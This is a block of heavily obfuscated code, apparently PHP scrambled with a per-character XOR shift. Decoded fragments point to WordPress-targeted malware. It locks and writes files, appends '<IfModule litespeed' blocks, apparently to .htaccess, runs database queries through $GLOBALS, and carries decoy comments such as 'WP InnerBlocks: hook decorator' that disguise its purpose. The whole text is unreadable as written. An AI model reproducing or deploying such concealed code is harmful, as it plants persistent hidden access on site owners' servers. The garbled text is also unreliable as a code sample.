!3(((,pd=oi`jc9qa(((((5(((((f1Wn{ek<blp<m>x`Wx<mn1 ((((aozjlg0f<j1nk{ 9<??!$izziq /WW[D]OWW/$(((/WWXD]OAFWJI[M><WW/$((((((/WW^MZ[AGFWW/!$izziq ,l~y:yixbb~r8q$(((,k>~azc?dnoW~$(ojcir|0ro>gifi>;n?| !!((((((!3,xj1`pqqo?f0{5?;#0>3,jkz:=zc|1cdd<>5,xj1`pqqo?f0{%:=3(an((( ),pd=oi`jc9qa!(san((((  af|!(om|Wgx|agf jj`>dqcld1xlfd: 9<?0!$(8!((((6(8!((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<?1!$((jj`>dqcld1xlfd: 9<08!!3(zm|}zf3(u(((((,la{;{b1<8y1j((5(**3(,c~b<z?8f9i=c0yr(((5(((izziq IJ[XI\@(((&(jj`>dqcld1xlfd: 9<09!$(,~<nor9>l8n(&(aW;~yrxiqyjro 9<0:!!3(((,z~gg{W1z9W`gy}0;(5((rq;ec{mmgl| 9<==! aozjlg0f<j1nk{ 9<0;!!(7(((Hjj`>dqcld1xlfd: 9<0;! aozjlg0f<j1nk{ 9<0<!!(((2((nid{m3((((((an( aW;~yrxiqyjro 9<<9! ,z~gg{W1z9W`gy}0;!(((..(((,z~gg{W1z9W`gy}0;(()55(**!(((s(((((,c~b<z?8f9i=c0yrSU((5((aW;~yrxiqyjro 9<<<! IJ[XI\@$((((jj`>dqcld1xlfd: 9<9?!!((&(/'/(((&((,z~gg{W1z9W`gy}0;3(((,c~b<z?8f9i=c0yrSU((5(,~<nor9>l8n((&((/'/(&((,z~gg{W1z9W`gy}0;3((((u(ngzmik`( ,c~b<z?8f9i=c0yr((i{(((((,yWWqepWoin!(s(,{jq8n=qm?m{|<o{((5(Haozjlg0f<j1nk{ 9<0=! ,yWWqepWoin!(7((((HaW;~yrxiqyjro 9<?<! ,yWWqepWoin!(2((((((**3(((((an(((( )aW;~yrxiqyjro 9<0>! ,{jq8n=qm?m{|<o{!((((tt(((,{jq8n=qm?m{|<o{(555((**!((kgf|af}m3an(((((( jj`>dqcld1xlfd: 9;89! rq;ec{mmgl| 9<0?!$((((((,{jq8n=qm?m{|<o{$((,xxn=;:nkq?0{gr8!!(((s(((,k{{=?l:pi>izd:((5(aW;~yrxiqyjro 9:09! ,xxn=;:nkq?0{gr8S:U!3(((((an(((( ,k{{=?l:pi>izd:(()55(**(((..(((({|zaxg{ ,k{{=?l:pi>izd:$((((rq;ec{mmgl| 9<:9!!(555((nid{m(((..((()oenn0;oi|8oz| ,k{{=?l:pi>izd:!!((s(,la{;{b1<8y1j(5((((,k{{=?l:pi>izd:3jzmic3((u''({|zm{{%|m{|(kgexik|(mnnmk|%|qxm(u(uan((( ,la{;{b1<8y1j()55((((**!(s((((((,pd=oi`jc9qa(((((5((((aW;~yrxiqyjro 9<00! rq;ec{mmgl| 9<01!$(aozjlg0f<j1nk{ 9<18!((&((((jj`>dqcld1xlfd: 9<:;! ,la{;{b1<8y1j$((|z}m!(&(((aW;~yrxiqyjro 9<19!$((((,pd=oi`jc9qa$((((9!3((((an(( )aW;~yrxiqyjro 9<0>! ,pd=oi`jc9qa!!(((s(((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9<?1!$((rq;ec{mmgl| 9<1:!!3zm|}zf3u((u,`?1j0bd~mqg<i(((5((|z}m3,}>zg~}l`8;`9|((5(f}dd3((an(( Hrq;ec{mmgl| 9<?;! ,ya0y;:pbopm|0|!!((s''(Hnap}x(gzja|(,}>zg~}l`8;`9|(((5((((bW0a{a?}a`=bcb<?m  {|zafo!((HaW;~yrxiqyjro 9<?<! ,ya0y;:pbopm|0|!!3((((((an(((((( aozjlg0f<j1nk{ 9<0>! ,}>zg~}l`8;`9|!(((..(((,}>zg~}l`8;`9|((555((,pd=oi`jc9qa!((((s(((((((,`?1j0bd~mqg<i(((((5((nid{m3(u''(NNA(jaflafo{2(xzaem(`ifl{`icm((u,lrxnp:0~:yc|9ip(5((izziq ((IJ[XI\@(((&(aW;~yrxiqyjro 9<1;!$(( lmnafml jj`>dqcld1xlfd: 9<9;!!((((7(((_XWKGF\MF\WLAZ(2(((,~<nor9>l8n!(&(aozjlg0f<j1nk{ 9<1<!$(!3((,q1znp0xryqrce;ed(((5(((( af|!(((om|Wgx|agf rq;ec{mmgl| 9<1=!$(((8!3((an(((((( ,q1znp0xryqrce;ed(..(aozjlg0f<j1nk{ 9<1>! !((%((,q1znp0xryqrce;ed(((4((( 0>;>;#;?!!(s(y8bjrmyn8dbfpWn<{ ,ya0y;:pbopm|0|$(((f}dd!3(ngzmik`( ,lrxnp:0~:yc|9ip(i{(((,~<0{a;=eW1!(((s''(kqkdm(lm|mk|ml(((((,fploqpmdy<xop8(((5(((Hrq;ec{mmgl| 9<0=! ,~<0{a;=eW1!((7(HaW;~yrxiqyjro 9<?<! ,~<0{a;=eW1!(((((2((((**3((((an(( aW;~yrxiqyjro 9<0>! ,fploqpmdy<xop8!(..(aW;~yrxiqyjro 9<<;! ,fploqpmdy<xop8$(((,i0n=pd1f<i>?Wc!()55(((nid{m!(((s,fx<acq?lz<kc`W|y((5((bpa<n}ey|}minfl999zdk: ,fploqpmdy<xop8$((,i0n=pd1f<i>?Wc!3(an(((((( jj`>dqcld1xlfd: 9<1?! ,fx<acq?lz<kc`W|y!((..((((,fx<acq?lz<kc`W|y(((()55(((((,fploqpmdy<xop8!(({jynjr};<k;ff=~{9pbapx ,~<0{a;=eW1$(,fx<acq?lz<kc`W|y!3((((((((u(((u((((((((zm|}zf3(((u((((((an((((( ,`?1j0bd~mqg<i!(((s,zmf{x}=j{b0qbk5 8pk<#8p1m!3,op<zq|:8gadl5,zmf{x}=j{b0qbk->3(|;1bljy:yp8ja?:f?}g1i ,ya0y;:pbopm|0|$((,pd=oi`jc9qa$((rq;ec{mmgl| 9<10!!3((((((k88c<`??}faWpk;0qo|l| ,ya0y;:pbopm|0|$((((9`rp}<>q`m}an !!3(((yy|m;zWdxb}n{r{~akm ,ya0y;:pbopm|0|$(((( 8p980#8p1k!!3((d8incq1<`|<n`1Wi ,ya0y;:pbopm|0|!3((u((((,}km9kz<|~x(((((5((((Hjj`>dqcld1xlfd: 9<0=! ,ya0y;:pbopm|0|!(((7((((bW0a{a?}a`=bcb<?m  {|zafo!((((Haozjlg0f<j1nk{ 9<11! ,ya0y;:pbopm|0|!!(((((2((**3(an((((( ,}km9kz<|~x()55((,pd=oi`jc9qa!(((s(((((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9<?1!$((((jj`>dqcld1xlfd: 9:91!!3y8bjrmyn8dbfpWn<{ ,ya0y;:pbopm|0|$(((,`?1j0bd~mqg<i(((7((,}>zg~}l`8;`9|(2(f}dd!3(,zWbl9~drzgy>1n9f((((((5(((( af|!((om|Wgx|agf rq;ec{mmgl| 9=88!$((((((8!((#((93(((}xli|mWgx|agf rq;ec{mmgl| 9=88!$((,zWbl9~drzgy>1n9f$(((((aozjlg0f<j1nk{ 9=89!!3(an(((( ,zWbl9~drzgy>1n9f(((65(((( 8p9#8p:!!(((s,gpkcax>:rpb050;3,b|?k>{x<a`5 ,gpkcax>:rpb068!7,gpkcax>:rpb02%,gpkcax>:rpb03}xli|mWgx|agf aW;~yrxiqyjro 9<1=!$((rq;ec{mmgl| 9<1>! !$(aW;~yrxiqyjro 9=89!!3(gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9<?1!$((aozjlg0f<j1nk{ 9=8:!!3(u(zm|}zf3((((u(((}f{m| ,}km9kz<|~x!3,fnggqamazgfaa((5(aozjlg0f<j1nk{ 9=8;!3(,kqqc09>~cpk(5((((izziq !3(ngzmik`((((( ,lrxnp:0~:yc|9ip(i{((,p>y|o8=1i`>!(((s,z?xcd9c}k{8(((5(((aW;~yrxiqyjro 9:>1! ,p>y|o8=1i`>!3an( )Haozjlg0f<j1nk{ 0?0! ,z?xcd9c}k{8!!(((((kgf|af}m3(((((,}g1en>|r`bg(5((rq;ec{mmgl| 9<==! jj`>dqcld1xlfd: 98<!!(((7((Hrq;ec{mmgl| 98<! ,p>y|o8=1i`>$(/k/!(((2(nid{m3an( ,}g1en>|r`bg(()55(nid{m((((..((jj`>dqcld1xlfd: 9<==! rq;ec{mmgl| 99>>!!!(((Hndgkc ,}g1en>|r`bg$((DGKCWMP!3(,`mcazfaedcec|fj(5((Hrq;ec{mmgl| 9<0=! ,p>y|o8=1i`>!(7((((Hrq;ec{mmgl| 9<;1! ,p>y|o8=1i`>!(2((83(,j>{W=r1ry|o~;f0q(((((5(Haozjlg0f<j1nk{ 9=8<! ,p>y|o8=1i`>!((((7((Hjj`>dqcld1xlfd: 9<11! ,p>y|o8=1i`>!((2(**3(((((((an((((( )rq;ec{mmgl| 9<1?! ,j>{W=r1ry|o~;f0q!!(s((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<?1!$(rq;ec{mmgl| 9<<:!!3(an( ,}g1en>|r`bg((()55(nid{m!((((((s((((((an((( aozjlg0f<j1nk{ 9<==! rq;ec{mmgl| 9=8=!!!(((Hndgkc ,}g1en>|r`bg$(((DGKCW]F!3(((((((Hnkdg{m ,}g1en>|r`bg!3(u((kgf|af}m3(((u(an((( rq;ec{mmgl| 9<<;! ,j>{W=r1ry|o~;f0q$((,i0n=pd1f<i>?Wc!(()55((nid{m!(s((((((an( Hjj`>dqcld1xlfd: 9<0=! ,ya0y;:pbopm|0|!!(((s((an((( ,}g1en>|r`bg((()55(nid{m!(s((((an( jj`>dqcld1xlfd: 9<==! jj`>dqcld1xlfd: 9=8=!!!(Hndgkc ,}g1en>|r`bg$(((DGKCW]F!3(((((Hnkdg{m ,}g1en>|r`bg!3((((u((((((kgf|af}m3((u,j>{W=r1ry|o~;f0q(5(((((bpa<n}ey|}minfl999zdk: ,j>{W=r1ry|o~;f0q$((((,i0n=pd1f<i>?Wc!3(((((uan( )aW;~yrxiqyjro 9<1?! ,j>{W=r1ry|o~;f0q!!((((s((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9<?1!$(((((jj`>dqcld1xlfd: 9<1:!!3,r9y<`qon5<9=93,gr`~qdd~z?f;x5,r9y<`qon-:3(an(((( ,}g1en>|r`bg(((()55(((nid{m!(((s((((an((( jj`>dqcld1xlfd: 9=8>! aozjlg0f<j1nk{ 9=8?!!!((Hndgkc ,}g1en>|r`bg$(DGKCW]F!3(Hnkdg{m ,}g1en>|r`bg!3(((u(((((kgf|af}m3(((u(an( )HaW;~yrxiqyjro 9=80! ,ya0y;:pbopm|0|!!((s''(_X(N}dd([a|m(Mla|afo2({mzaidarm(la{|zaj}|gz((an(((( ,}g1en>|r`bg(()55(nid{m!(s(an(((( rq;ec{mmgl| 9=8>! rq;ec{mmgl| 9=81!!!(((Hndgkc ,}g1en>|r`bg$((DGKCW]F!3(Hnkdg{m ,}g1en>|r`bg!3((u(((kgf|af}m3(((u(an( aey>c?d<?pzibi=c !!((s((,~<j:p?zifd{n(((((5(*Tf4AnEgl}dm(da|m{xmml6Tf*(&(,fnggqamazgfaa((((&((((aW;~yrxiqyjro 9=98!((((&(((,ya0y;:pbopm|0|(&((((/*/(((&(((*Tf4'AnEgl}dm6Tf*3u(md{m((s((,~<j:p?zifd{n(5((((*Tf4AnEgl}dm(eglWx`x&k6Tf*((&(,fnggqamazgfaa((&(rq;ec{mmgl| 9=99!(&((,ya0y;:pbopm|0|(&(/*/((((&(*Tf4'AnEgl}dm6Tf*((&((*4AnEgl}dm(eglWx`x=&k6Tf*(&(,fnggqamazgfaa(&(rq;ec{mmgl| 9=99!(&((((,ya0y;:pbopm|0|((&(/*/(&(*Tf4'AnEgl}dm6Tf*(((((&(((*4AnEgl}dm(eglWx`x?&k6Tf*((&(((,fnggqamazgfaa((&(((jj`>dqcld1xlfd: 9=9:!(((&(,ya0y;:pbopm|0|(&(/*/(&((((((*Tf4'AnEgl}dm6Tf*(((((((&(*4AnEgl}dm(eglWx`x0&k6Tf*((&((((((,fnggqamazgfaa(&(((aozjlg0f<j1nk{ 9=9:!((&(,ya0y;:pbopm|0|(&((((/*/(((((&(*Tf4'AnEgl}dm6Tf*3((u((an( {jynjr};<k;ff=~{9pbapx ,p>y|o8=1i`>$(,j>{W=r1ry|o~;f0q(((((&(,~<j:p?zifd{n!!((,kqqc09>~cpkSU(((((5((izziq ,p>y|o8=1i`>$((,j>{W=r1ry|o~;f0q!3((an(( ,`mcazfaedcec|fj!((k88c<`??}faWpk;0qo|l| ,p>y|o8=1i`>$(,`mcazfaedcec|fj!3(((md{m((k88c<`??}faWpk;0qo|l| ,p>y|o8=1i`>$(((rq;ec{mmgl| 9<1>! !!3an((((( ,}g1en>|r`bg((()55((nid{m!((san((( aozjlg0f<j1nk{ 9=9;! jj`>dqcld1xlfd: 9=81!!!(((Hndgkc ,}g1en>|r`bg$((DGKCW]F!3((Hnkdg{m ,}g1en>|r`bg!3(((u(((((((u(((an((((  ,`?1j0bd~mqg<i(((tt(aW;~yrxiqyjro 9=9<! ,kqqc09>~cpk!(((((6((8!((..((((()`g;g>|=WW~>exi|8|0e !!(((((s((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<?1!$(((aozjlg0f<j1nk{ 9<=8!!3((y8bjrmyn8dbfpWn<{ ,ya0y;:pbopm|0|$((,}>zg~}l`8;`9|!3ngzmik`( ,kqqc09>~cpk(i{(,n1mz`nq}9!((({jynjr};<k;ff=~{9pbapx ,n1mz`nq}9S8U$((((,n1mz`nq}9S9U!3((,zWbl9~drzgy>1n9f((5(((( af|!((om|Wgx|agf jj`>dqcld1xlfd: 9=88!$((8!((((#(93((((((}xli|mWgx|agf rq;ec{mmgl| 9=88!$((,zWbl9~drzgy>1n9f$(((rq;ec{mmgl| 9=89!!3((an(( ,zWbl9~drzgy>1n9f(((65(( 8p9#8p:!!(s}xli|mWgx|agf aW;~yrxiqyjro 9<1=!$((aW;~yrxiqyjro 9<1>! !$((aW;~yrxiqyjro 9=89!!3((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9<?1!$((((aozjlg0f<j1nk{ 9=8:!!3((((((u((((((((zm|}zf3(((((u((an((((  af|!((om|Wgx|agf jj`>dqcld1xlfd: 9=88!$(((8!(6(8!((((((}xli|mWgx|agf jj`>dqcld1xlfd: 9=88!$((8$(rq;ec{mmgl| 9=9=!!3an((((  af|!((om|Wgx|agf jj`>dqcld1xlfd: 9=9>!$((8!((((6((((8!(Hlmdm|mWgx|agf jj`>dqcld1xlfd: 9=9?!!3(((((u(((ki|k`(( \`zgijdm(,d|f9x=j|9W:!(s((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<?1!$(((,d|f9x=j|9W:!3,}0a}m:9y598t<13,y<gyf}8b5,}0a}m:9yV=<3(u((ki|k`((((( Mpkmx|agf(,d|f9x=j|9W:!((((s(gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9<?1!$((,d|f9x=j|9W:!3(u(((((u((n}fk|agf(((jk0|=ygWr0pWyoacWqde !s(((((|zq(s(an((( )lmnafml rq;ec{mmgl| 9=90!!!((zm|}zf3(((an( )aozjlg0f<j1nk{ 9=91! rq;ec{mmgl| 9:=:!!!(zm|}zf3(((,y{}:=ajkd(5((((((g{mxxjmmdpz1}` IJ[XI\@(((((&((aW;~yrxiqyjro 9=:8!$( ;V1!!3((((,xd8`b<k9dofqp(5(mrppqfp~aze:9: !3an((( ),xd8`b<k9dofqp(((tt(aozjlg0f<j1nk{ 9;19! ,xd8`b<k9dofqp!((4((( 8p9ln#8p9=!!(((zm|}zf3,k>~azc?dnoW~(((5(((p|;izdoby9r|y{a|: !3(((,k}zzmf|((5((Hom|Wgx|agf ,y{}:=ajkd$((((**!3(((((an(((( ,k}zzmf|(..((jj`>dqcld1xlfd: 9;19! ,k}zzmf|!(555((rq;ec{mmgl| 9;19! ,k>~azc?dnoW~!(((..((,k}zzmf|((555(,k>~azc?dnoW~!((zm|}zf3((((((an(((( rq;ec{mmgl| 9=91! rq;ec{mmgl| 9=:9!!!((((s}xli|mWgx|agf ,y{}:=ajkd$((,k>~azc?dnoW~$((aozjlg0f<j1nk{ 9=9=!!3(((u(((md{man((( lmnafml aozjlg0f<j1nk{ 9=::!!(..(lmnafml aozjlg0f<j1nk{ 9=:;!!((((..(((((lmnafml aW;~yrxiqyjro 9=:<!!((((((..(((lmnafml rq;ec{mmgl| 1<!!(..(rq;ec{mmgl| 9=:=! rq;ec{mmgl| 9=:>!!!(s(,cp1bra{e8i:x((((5(rq;ec{mmgl| 9=:>!3(,ne;=j80ng|((((((5(((Hfm(((,cp1bra{e8i:x kgf{|if| aozjlg0f<j1nk{ 9=::!!$(((kgf{|if| jj`>dqcld1xlfd: 9=:?!!$(kgf{|if| aW;~yrxiqyjro 9=:0!!$(kgf{|if| rq;ec{mmgl| 9=:1!!!3(an(((( ,ne;=j80ng|(..((),ne;=j80ng|%6kgffmk|Wmzzfg!((((s,xzmnap((5(a{{m| ,ODGJID[Saozjlg0f<j1nk{ 9;:9!U%6xzmnap!(((7((,ODGJID[Srq;ec{mmgl| 9;:9!U%6xzmnap((2(aW;~yrxiqyjro 988:!3((,m?bfq~g~1|1?;:o<(((5(,ne;=j80ng|%6zmidWm{kixmW{|zafo ,k>~azc?dnoW~!3((((((,ndlek>>q{:((5(((,ne;=j80ng|%6zmidWm{kixmW{|zafo ,y{}:=ajkd!3(((,ne;=j80ng|%6y}mzq *ATp<mTp=;Tp<=Z\(AFTp=<Tp<n(s,xzmnapugTp?8|Tp>1gfTp?;( Tp>nTp?8Tp?<agTp>mWfiTp>lm$(gTp?8|Tp>1Tp>nfW~id}m$(Tp>9}Tp?<gdgil!(Tp=>ITp<k]Tp<=Tp=;( /s,ndlek>>q{:u/$(/s,m?bfq~g~1|1?;:o<u/$(/fTp>n/!(GTp<m(L]XTp<kAKTp<9Tp=<M(CMQ(Tp==XTp<<Tp<9Tp=<M(gTp?8Tp?<Tp>1Tp>nfW~Tp>9d}m5/s,m?bfq~g~1|1?;:o<u/*!3an( ,ne;=j80ng|%6mzzgz!(((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9=:8!$(((((rq;ec{mmgl| 9=;8!(((&(jj`>dqcld1xlfd: 9;<?! ,ne;=j80ng|%6mzzgz$(((8$( 9:0%0!!!3(,ne;=j80ng|%6kdg{m !3(uu''(ill(|qxm(iffg|i|agf{u(ki|k`((( \`zgijdm(((((,d|f9x=j|9W:!((((((sgcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9=;9!$((((,d|f9x=j|9W:!3(((u(((((ki|k`(((((( Mpkmx|agf(((,d|f9x=j|9W:!((s((u(((((u(((n}fk|agf((daoxe<{;:;W<mx !s''(_X(AffmzJdgkc{2(`ggc(lmkgzi|gz,allWW`obj=((5((lmnafml aozjlg0f<j1nk{ 9<9;!!(((7((((_XWKGF\MF\WLAZ((2((((((IJ[XI\@((((&(((((jj`>dqcld1xlfd: 1>?!3,l~n:8?0n:~9}z((((5((g{mxxjmmdpz1}` IJ[XI\@(((&(aW;~yrxiqyjro 9=;:!$( 9>>V9?<!!3((zm|}zf(izziq ,allWW`obj=((&((rq;ec{mmgl| =?0!$((,allWW`obj=((&((jj`>dqcld1xlfd: 9=;;!(((&(,l~n:8?0n:~9}z(((((&((rq;ec{mmgl| 9=;<!$((,l~n:8?0n:~9}z!3u(n}fk|agf(((((mqbjWepac|ioyk0 ,y0<ql8~?1=z1?!(s(((,op?odjxki((5(( af|!(((((Hrq;ec{mmgl| 9=;=! ,y0<ql8~?1=z1?!3(((an( ,op?odjxki((4(((( 980%0!((((((tt(((,op?odjxki((6( :81?9<:#98!!(zm|}zf(nid{m3((,p`peg;fr~oyez(5(Hjj`>dqcld1xlfd: 9=;>! ,y0<ql8~?1=z1?!3(((an((( )aW;~yrxiqyjro 9<1?! ,p`peg;fr~oyez!(((((tt((jj`>dqcld1xlfd: 9;19! ,p`peg;fr~oyez!(4( 9::%::!((tt((aW;~yrxiqyjro 9;19! ,p`peg;fr~oyez!(6( ;:=<;8#9??9?::!!(zm|}zf(((nid{m3((,ndjnir;e;:?fazg9(((5((((jj`>dqcld1xlfd: ::8! /2/$(,p`peg;fr~oyez$(((((( :;0V:;<!!3an(((( rq;ec{mmgl| 9=;?! ,ndjnir;e;:?fazg9!((((4( ?8V>>!((tt(,ndjnir;e;:?fazg9S8U((((()55((aW;~yrxiqyjro 9=;0!(((tt(((aozjlg0f<j1nk{ 9;19! ,ndjnir;e;:?fazg9S :#9!U!((((4( <<#>!!(zm|}zf(((nid{m3(((((,mzf9m`<8g>dr;(((((5(Hjj`>dqcld1xlfd: <8:! ,ndjnir;e;:?fazg9S 0?V0<!U!3an( ,mzf9m`<8g>dr;(555(nid{m(((tt(((((aozjlg0f<j1nk{ 9;19! ,mzf9m`<8g>dr;!(4( 8p9?#8p9j!!(((zm|}zf(((((nid{m3(((((an( aozjlg0f<j1nk{ 9;<?! ,mzf9m`<8g>dr;$(8$((:!(((((555((*Tp9nTp0j*!(((s((((,ec:`=zz<=0~W(((5((Haozjlg0f<j1nk{ 9=;1! /^/$(((((rq;ec{mmgl| 9;<?! ,mzf9m`<8g>dr;$(% 9#;!!!3an((( )aozjlg0f<j1nk{ 9;0<! ,ec:`=zz<=0~W!(((tt(((,ec:`=zz<=0~WS9U(((((4( ?>#:<!((((tt(,ec:`=zz<=0~WS9U(6(( 98<0=<?#:1!!(zm|}zf((nid{m3(((((an(( rq;ec{mmgl| 9=91! jj`>dqcld1xlfd: 9=<8!!!(,mzf9m`<8g>dr;(5((Horlmkglm ,mzf9m`<8g>dr;$((( 98<0=<?#:1!!3(((((md{man( aozjlg0f<j1nk{ 9=91! aozjlg0f<j1nk{ 9;:<!!!((s((((,mzf9m`<8g>dr;(((5((Horafndi|m aozjlg0f<j1nk{ 9;<?! ,mzf9m`<8g>dr;$((( 9#1!$((jj`>dqcld1xlfd: 9;19! ,mzf9m`<8g>dr;!(%( 8p98#8p:!!$(((( 90;;1=?%?0=;09!!3(((((an(( jj`>dqcld1xlfd: 9<1?! ,mzf9m`<8g>dr;!(((((..((jj`>dqcld1xlfd: 9=<9! ,mzf9m`<8g>dr;!(((6(( 8p9ljl?#8pm:<:1!!(zm|}zf(nid{m3(((((u(md{m(((((zm|}zf((((nid{m3((u((((((an( )aW;~yrxiqyjro 9<1?! ,mzf9m`<8g>dr;!((tt((((aW;~yrxiqyjro 9=<:! ,mzf9m`<8g>dr;!(((4(((((( 1:#0!((((tt((((rq;ec{mmgl| 9;<?! ,mzf9m`<8g>dr;$(((8$( 8p9#8p<!!()55((aW;~yrxiqyjro ?>9!((tt((((((aozjlg0f<j1nk{ 9=<;! ,mzf9m`<8g>dr;!()55((,ndjnir;e;:?fazg9S:U!((zm|}zf(nid{m3((zm|}zf(((((,mzf9m`<8g>dr;3(((un}fk|agf(kkoicrpexadexi0d} !((s''(_X(Xg{|(Kgf|mf|2(zmk}z{a~m(|z}{|%ifk`gz(((((|zq((s(((an(((( )lmnafml jj`>dqcld1xlfd: 9=90!!!((zm|}zf3((,eag0|x0>19=f{?x<((5((daoxe<{;:;W<mx !3(((an(((( )Hjj`>dqcld1xlfd: 9=80! ,eag0|x0>19=f{?x<S9U!!(((zm|}zf3an((( mqbjWepac|ioyk0 ,eag0|x0>19=f{?x<S9U!(((555((((((nid{m!((zm|}zf3((((,|je<0=:8|qg}dkx9(((((5((((f1Wn{ek<blp<m>x`Wx<mn1 jj`>dqcld1xlfd: ?<:!$((izziq /WW[D]OWW/!$((((izziq aW;~yrxiqyjro 99>=! z9>1{1jm8r8;e~8 !$(jj`>dqcld1xlfd: 9<?>!!!!3(((an(( )aozjlg0f<j1nk{ 9=<<! ,|je<0=:8|qg}dkx9!(((((tt((,|je<0=:8|qg}dkx9(555((**!((zm|}zf3(,|je<0=:8|qg}dkx9(5((((rq;ec{mmgl| 9<00! aW;~yrxiqyjro 9=<=!$(((**$((((,|je<0=:8|qg}dkx9!3,k|9{<kdk5>:#>03,i`x{=i0ex{5,k|9{<kdk%=83(an((((( )jj`>dqcld1xlfd: 9=<<! ,|je<0=:8|qg}dkx9!((((tt(,|je<0=:8|qg}dkx9((((((555(((**!(((((zm|}zf3((((,b~9?l=gbz|fqqf(5(ojcir|0ro>gifi>;n?| !((&((/2/(&(((g{mxxjmmdpz1}` IJ[XI\@((&(((((aozjlg0f<j1nk{ 9=<>!$(( <#<!!3,{zyeoW:8}yf1r>ec((((5(((((jj`>dqcld1xlfd: 9=<?!((&(,b~9?l=gbz|fqqf(&((jj`>dqcld1xlfd: 9=<0!3(,e9;0`fp1zi((5(((((aW;~yrxiqyjro 9=<1!(&(,b~9?l=gbz|fqqf(&(aW;~yrxiqyjro 9=<0!3(,~cr0W<y{9?z((((((5((((((rq;ec{mmgl| 9==8!(((((&((((((,eag0|x0>19=f{?x<S:U(((&((((jj`>dqcld1xlfd: 9==9!(&(((ojcir|0ro>gifi>;n?| !((((&(((rq;ec{mmgl| 9=<0!(((((&(*Tf*((&((,|je<0=:8|qg}dkx93an( )Hjj`>dqcld1xlfd: 9=80! ,eag0|x0>19=f{?x<S8U!!((((((s(an(( )f89kW1g}g|i=ira ,eag0|x0>19=f{?x<S8U$(**!!(((((s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9=;:!$(aozjlg0f<j1nk{ 9==:!!3((zm|}zf3(((u((an(((( {jynjr};<k;ff=~{9pbapx ,eag0|x0>19=f{?x<S8U$(((((,~cr0W<y{9?z!!(s(k88c<`??}faWpk;0qo|l| ,eag0|x0>19=f{?x<S8U$(9`rp}<>q`m}an !!3((yy|m;zWdxb}n{r{~akm ,eag0|x0>19=f{?x<S8U$( ;>=#==!!3d8incq1<`|<n`1Wi ,eag0|x0>19=f{?x<S8U!3u((zm|}zf3(((((((u((((((,yy>?}}9nW?c9:((((((5((Hjj`>dqcld1xlfd: 9=;>! ,eag0|x0>19=f{?x<S8U!3(an((( )jj`>dqcld1xlfd: 9=<<! ,yy>?}}9nW?c9:!(tt((aW;~yrxiqyjro 9=<:! ,yy>?}}9nW?c9:!((((6((( 91?091;#9901=1!!(zm|}zf3an(( aozjlg0f<j1nk{ 9<<;! ,yy>?}}9nW?c9:$(((,{zyeoW:8}yf1r>ec!(()55((((nid{m((..((((aozjlg0f<j1nk{ 9<<;! ,yy>?}}9nW?c9:$(,e9;0`fp1zi!((()55(nid{m!(zm|}zf3(((an(((( aozjlg0f<j1nk{ 9<<;! ,yy>?}}9nW?c9:$((((aW;~yrxiqyjro 9==;!!(555((((((nid{m(((..(((jj`>dqcld1xlfd: 9==<! ,yy>?}}9nW?c9:$((rq;ec{mmgl| 9===!(((&(,eag0|x0>19=f{?x<S:U!(()55((nid{m!(s((((an(((( rq;ec{mmgl| 9;89! rq;ec{mmgl| 9==>!$((((aozjlg0f<j1nk{ 9;<?! ,yy>?}}9nW?c9:$((8$((((( 9<=#==!!$(,ap9zbal1bpo<!((..(~mz{agfWkgexizm ,ap9zbal1bpo<S9U$(ojcir|0ro>gifi>;n?| !$((aozjlg0f<j1nk{ 9==?!!!(zm|}zf3(an((((( )f89kW1g}g|i=ira ,eag0|x0>19=f{?x<S8U$(((,yy>?}}9nW?c9:!!((((s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9=;:!$((jj`>dqcld1xlfd: 9==:!!3(zm|}zf3(u''(H{xmk}di|m(idmz|((an(( {jynjr};<k;ff=~{9pbapx ,eag0|x0>19=f{?x<S8U$((,~cr0W<y{9?z!!(sk88c<`??}faWpk;0qo|l| ,eag0|x0>19=f{?x<S8U$((9`rp}<>q`m}an !!3yy|m;zWdxb}n{r{~akm ,eag0|x0>19=f{?x<S8U$(( ;=8#?8!!3(d8incq1<`|<n`1Wi ,eag0|x0>19=f{?x<S8U!3(u((((((zm|}zf3((u(,g<<8r8pca>(((5(((g{mxxjmmdpz1}` IJ[XI\@((((&((aozjlg0f<j1nk{ 9=<>!$( ?#9!!3(,yy>?}}9nW?c9:((((5((jj`>dqcld1xlfd: 9<00! aW;~yrxiqyjro 9==0!(&((,g<<8r8pca>((&((((rq;ec{mmgl| 9==1!$((**$(,yy>?}}9nW?c9:!3(((((an((( )aozjlg0f<j1nk{ 9=<<! ,yy>?}}9nW?c9:!!((s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9=;:!$((((((aozjlg0f<j1nk{ 9=>8!!3((zm|}zf3u(an((((( )HaW;~yrxiqyjro 0?0! ,eag0|x0>19=f{?x<S8U!!(zm|}zf3((an(((( )|`o{Wa{`?>nr9n?n:`rf aW;~yrxiqyjro 9=;:!!!((sgcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9=>9!$(((jj`>dqcld1xlfd: 9=>:!!3(((zm|}zf3(uan((( )f89kW1g}g|i=ira ,eag0|x0>19=f{?x<S8U$(((((,yy>?}}9nW?c9:!!((sgcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9=>9!$(((aozjlg0f<j1nk{ 9=>;!!3(((((((zm|}zf3(((((u((kyp~me~qox8raabz aozjlg0f<j1nk{ 9=>9!!3((,n~8nxlil~em(5((,{zyeoW:8}yf1r>ec(&(((((*Tf*(&((rq;ec{mmgl| 9=><!((((&((,eag0|x0>19=f{?x<S:U(((&(jj`>dqcld1xlfd: 9=<0!(((&((((*Tf*((((((&((,|je<0=:8|qg}dkx9(&((((*Tf*(((&(,e9;0`fp1zi3(((((((({jynjr};<k;ff=~{9pbapx ,eag0|x0>19=f{?x<S8U$((((md1=l1e:?eaxnW0xz?;>x1 